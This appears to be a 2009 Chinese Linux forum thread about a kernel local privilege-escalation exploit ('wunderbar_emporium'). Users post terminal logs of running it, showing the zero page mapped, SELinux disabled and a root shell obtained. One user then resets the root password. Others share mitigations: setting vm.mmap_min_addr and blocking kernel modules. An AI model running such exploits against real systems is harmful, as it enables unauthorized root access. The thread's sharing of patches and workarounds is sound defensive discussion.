黑客再爆Linux内核高危漏洞，一个命令可以攻击所有Linux系统，请尽快修复系统

gilet

我的同你的一样

SMEWL

使用的Scientific LINUX，关闭SELINUX的情况下，未能执行成功
[mark@Scientific wunderbar_emporium]$ ./w*
[+] Personality set to: PER_SVR4
Pulseaudio does not exist!
[mark@Scientific wunderbar_emporium]$ uname -a
Linux Scientific.china.linux 2.6.18-128.1.1.el5 #1 SMP Tue Feb 10 11:42:49 EST 2009 i686 i686 i386 GNU/Linux
SELINUX的情况下成功实现
[mark@Scientific wunderbar_emporium]$ ./w*
[+] MAPPED ZERO PAGE!
[+] Resolved security_ops to 0xc07bb160
[+] Resolved sel_read_enforce to 0xc04c7677
[+] got ring0!
[+] detected 2.6 style 4k stacks
sh: mplayer: command not found
[+] Disabled security of : SELinux
[+] Got root!
sh-3.2#

调兵虎符

太恐怖了

netice

Linux localhost 2.6.29-gentoo-r3 #1 SMP Sun May 17 19:53:26 CST 2009 i686 Intel(R) Atom(TM) CPU N270 @ 1.60GHz GenuineIntel GNU/Linux

成功！

临时解决方法：
在/etc/sysctl.conf 中加入 vm.mmap_min_addr = 1000
执行 #sysctl -w vm.mmap_min_addr=1000

pxebxp

dex@dx wunderbar_emporium]$ ls
exploit.c  pwnkernel.c  tzameti.avi  wunderbar_emporium.sh
[dex@dx wunderbar_emporium]$ ./wunderbar_emporium.sh
[+] Personality set to: PER_SVR4
I: caps.c: Limited capabilities successfully to CAP_SYS_NICE.
I: caps.c: Dropping root privileges.
I: caps.c: Limited capabilities successfully to CAP_SYS_NICE.
E: alsa-util.c: Error opening PCM device hw:0: Permission denied
E: module.c: Failed to load  module "module-alsa-sink" (argument: "device_id=0 sink_name=alsa_output.pci_8086_27d8_sound_card_0_alsa_playback_0 tsched=1"): initialization failed.
E: alsa-util.c: Error opening PCM device hw:0: Permission denied
E: module.c: Failed to load  module "module-alsa-source" (argument: "device_id=0 source_name=alsa_input.pci_8086_27d8_sound_card_0_alsa_capture_0 tsched=1"): initialization failed.
[+] MAPPED ZERO PAGE!
[+] Resolved selinux_enforcing to 0xc0951f94
[+] Resolved selinux_enabled to 0xc07dbaf4
[+] Resolved security_ops to 0xc0950768
[+] Resolved default_security_ops to 0xc07db624
[+] Resolved sel_read_enforce to 0xc04fbbfa
[+] Resolved audit_enabled to 0xc091b16c
[+] got ring0!
[+] detected 2.6 style 4k stacks
[+] Disabled security of : nothing, what an insecure machine!
[+] Got root!
sh-3.2# passwd root
Changing password for user root.
New UNIX password:
BAD PASSWORD: it is WAY too short
Retype new UNIX password:
passwd: all authentication tokens updated successfully.

mfkwwgi

感到自己的差距甚远啊。

神啊。

睡上没有两点不睡了。学习学习。。

goldenfort

世界上的牛人真不少

Yuri.G.

赶紧试试UnixCenter有没有这个问题。

localhosts

果然有效，按照楼主的方法打补丁，不过需要重启，郁闷

localhosts

系统 centos 2.6.18-92.el5 按照楼主方法：
在/etc/modprobe.conf文件中加入下列内容：
install pppox /bin/true
install bluetooth /bin/true
install appletalk /bin/true
install ipx /bin/true
install sctp /bin/true
执行/sbin/lsmod | grep -e ppp -e blue -e app -e ipx -e sct
重启机器在执行./w* 提示：
.....unable to find a vulnerable domain, sorry

说明这个方法有效，谢谢楼主！！！